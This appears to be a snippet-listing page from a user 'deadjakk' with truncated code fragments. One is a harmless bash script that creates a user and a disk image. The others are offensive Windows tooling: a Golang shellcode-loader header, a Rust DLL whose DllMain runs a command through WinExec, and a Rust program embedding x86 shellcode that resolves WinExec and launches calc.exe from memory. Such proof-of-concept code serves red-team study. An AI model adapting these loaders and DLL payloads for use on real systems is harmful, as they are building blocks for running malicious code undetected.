deadjakk

#!/bin/bash
echo "enter username:"
read USERNAME
echo "enter # of gigabytes the home drive should be, just the number"
read SIZE
echo "Executing:" "sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G"
cd /
sudo adduser $USERNAME
sudo rm -rf /home/${USERNAME} # removing the home directory it created
sudo dd if=/dev/null of=/$USERNAME.img count=0 seek=${SIZE}G

deadjakk

//
// Simple Shellcode loader implemented in Golang.
//
// Compilation:
//      $ go build -o foo.exe shellcodeLoader.go
//
// Mariusz B. / mgeeky (@mariuszbit), '20 
// <[email protected]>
//

deadjakk

import (
	"syscall"
	"unsafe"
)

// MessageBox of Win32 API.
func MessageBox(hwnd uintptr, caption, title string, flags uint) int {
	ret, _, _ := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
		uintptr(hwnd),
		uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),

deadjakk

#[link(name="kernel32")]
extern "system" {
	fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32;
}

#[no_mangle] // needs to precede every function you wish to call from c
extern "system" fn DllMain(_: *const u8, _: u32, _: *const u8) -> u32 { 
	let ret  = unsafe {
		WinExec(['c' as u8 , 'a' as u8 ,'l' as u8, 'c' as u8, '.' as u8, 'e' as u8, 'x' as u8 , 'e' as u8, '\0' as u8].as_mut_ptr(), 1); 
	};

deadjakk

use region::{Protection};
fn main(){
  // from windows, ran the following:
  // rustup target add i686-pc-windows-msvc
  // cargo run --target=i686-pc-windows-msvc
  // x86 win shellcode 
	// shellcode from https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html
	static RET5: [u8;200] = *b"\x50\x53\x51\x52\x56\x57\x55\x89\xe5\x83\xec\x18\x31\xf6\x56\x6a\x63\x66\x68\x78\x65\x68\x57\x69\x6e\x45\x89\x65\xfc\x31\xf6\x64\x8b\x5e\x30\x8b\x5b\x0c\x8b\x5b\x14\x8b\x1b\x8b\x1b\x8b\x5b\x10\x89\x5d\xf8\x31\xc0\x8b\x43\x3c\x01\xd8\x8b\x40\x78\x01\xd8\x8b\x48\x24\x01\xd9\x89\x4d\xf4\x8b\x78\x20\x01\xdf\x89\x7d\xf0\x8b\x50\x1c\x01\xda\x89\x55\xec\x8b\x58\x14\x31\xc0\x8b\x55\xf8\x8b\x7d\xf0\x8b\x75\xfc\x31\xc9\xfc\x8b\x3c\x87\x01\xd7\x66\x83\xc1\x08\xf3\xa6\x74\x0a\x40\x39\xd8\x72\xe5\x83\xc4\x26\xeb\x41\x8b\x4d\xf4\x89\xd3\x8b\x55\xec\x66\x8b\x04\x41\x8b\x04\x82\x01\xd8\x31\xd2\x52\x68\x2e\x65\x78\x65\x68\x63\x61\x6c\x63\x68\x6d\x33\x32\x5c\x68\x79\x73\x74\x65\x68\x77\x73\x5c\x53\x68\x69\x6e\x64\x6f\x68

deadjakk

#[link(name="kernel32")]
extern "system" {
	fn WinExec(lpstr: *mut u8,cmdshow: u32)->u32;
}

/// &str to a null termed u8bit vector
fn str_to_u8(string: &str) -> Vec<u8>{
	let mut ret : Vec<u8> = vec![];
	for x in string.as_bytes() {
		println!("{:?}",x);